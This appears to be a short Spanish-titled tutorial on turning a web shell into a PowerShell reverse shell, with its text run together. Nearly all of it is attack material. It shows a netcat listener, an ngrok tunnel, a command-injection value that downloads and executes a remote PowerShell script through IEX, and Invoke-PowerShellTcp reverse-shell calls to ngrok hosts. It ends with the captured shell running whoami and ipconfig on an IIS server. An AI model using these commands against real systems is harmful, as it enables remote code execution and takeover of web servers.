Migracion de WebShell a Reverse Shell via PowerShell
Última actualización
Invoke-PowerShellTcp -Reverse -IPAddress 8.tcp.us-cal-1.ngrok.io -Port 14944kali@kali=> nc -nvlp 443kali@kali=> ./ngrok tcp 443
Version 3.3.5
Region United States (us)
Latency 76ms
Web Interface http://127.0.0.1:4040
Forwarding tcp://6.tcp.ngrok.io:19858 -> localhost:443 Invoke-PowerShellTcp -Reverse -IPAddress 4.tcp.ngrok.io -Port 106908.8.8.8& powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Spartan-Cybersecurity/CPPJ/main/PowerCPPJ.ps1')"kali@kali=> nc -nvlp 443
listening on [any] 443 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 54972
Windows PowerShell running as user WEBSERVER$ on WEBSERVER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\windows\system32\inetsrv>PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool
PS C:\windows\system32\inetsrv> hostname
WebServer
PS C:\windows\system32\inetsrv> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet 2:
Connection-specific DNS Suffix . : spartancybersec.corp
Link-local IPv6 Address . . . . . : fe80::3dce:ac79:a1b0:7820%7
IPv4 Address. . . . . . . . . . . : 10.0.1.249
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.0.1.1